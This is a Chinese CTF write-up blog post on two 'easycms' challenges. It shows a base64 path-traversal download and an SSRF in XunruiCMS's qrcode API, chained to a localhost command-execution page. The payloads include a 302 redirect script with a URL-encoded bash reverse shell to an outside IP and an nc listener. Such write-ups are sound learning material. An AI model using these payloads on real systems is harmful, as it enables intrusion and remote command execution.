2024ciscn初赛——easycms

什么是CMS?

CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。

常见的CMS:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。     

直接看国赛那道题有点懵

先整道简单的ezcms过渡一下   、

 [GKCTF 2021]easycms  

 打开是一个企业的介绍页面

目录扫描admin.php进入后台登陆

弱口令爆破admin/12345

进入后台后 设计——主题——自定义

  导出主题 然后随便输入一下点击保存
右键复制下载链接

http://node4.anna.nssctf.cn:28812/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=

  base64解码后面的

得到路径

把default/1.zip直接改成flag

payload

http://node4.anna.nssctf.cn:28812/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

下载flag.zip

用010打开

得到flag

easycms

简单的cms,可以扫扫看? 提示1: /flag.php: 

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
   echo "Just input 'cmd' From 127.0.0.1";
   return;
}else{
   system($_GET['cmd']);
}

提示2:github找一下源码?

先扫描一下

Read.txt是乱码

恢复一下

官方下载地址:

https://www.xunruicms.com/down/
安装路径:

将网站运行目录(主目录)设置为:public(如果没有就忽略设置)
安装环境监测:

/test.php
程序安装地址:

/install.php
后台登录地址:

/admin****.php(****是随机的)
重置后台地址:

https://www.xunruicms.com/doc/1097.html
首次使用方法:

https://www.xunruicms.com/doc/631.html
运行环境:

    Laravel内核:PHP8.0及以上
    ThinkPHP内核:PHP7.4及以上
    CodeIgniter内核:PHP7.4及以上
    CodeIgniter72内核:PHP7.2及以上

数据库要求:

MySQL5及以上,推荐使用5.7及以上版本
内核切换方法:

https://www.xunruicms.com/doc/1246.html

根据提示

找到源码https://github.com/dayrui/xunruicms

信息收集 找到漏洞公示页面迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表

根据提示

应该是flag.php页面存在ssrf漏洞

定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.phpqrcode函数

api文件是什么?

api文件适用于处理api请求的文件

API请求是指应用程序通过编程接口(API)与服务器进行交互的过程。

这里怎么知道函数是这个路径的

搜一下就行

既然是ssrf 肯定和url有关

dr_catcher_data 定位这个函数 且thumb的值可控

找它的函数定义

xunruicms-master\dayrui\Fcms\Core\Helper.php

看到我们熟悉的curl函数

构造302跳转 (反弹shell没成功)

创建302.php

<?php 
header('location:http://127.0.0.1/flag.php?cmd=%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%38%32%2e%32%35%34%2e%32%34%32%2e%31%36%37%2f%38%38%38%38%20%3c%26%31%22',true,302);
exit();
?>

在302.php的目录下开启你要访问的端口号

 

payload:

?s=api&c=api&m=qrcode&text=1&thumb=http://vps:7777/302.php&size=10&level=1

反弹shell

nc -lvnp 8888

我这里一点动静都没有

302跳转倒是成功了

不知道为什么

能试的payload都试过了

不知道是不是ctfshow靶场的问题

讨厌这题!

参考

【Web】CISCN 2024初赛 题解(全)

2024 CISCN 赛后学习与总结 | 心流

2024-ciscn-web-0X02 easycms - toolsの小破站

  • 25
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值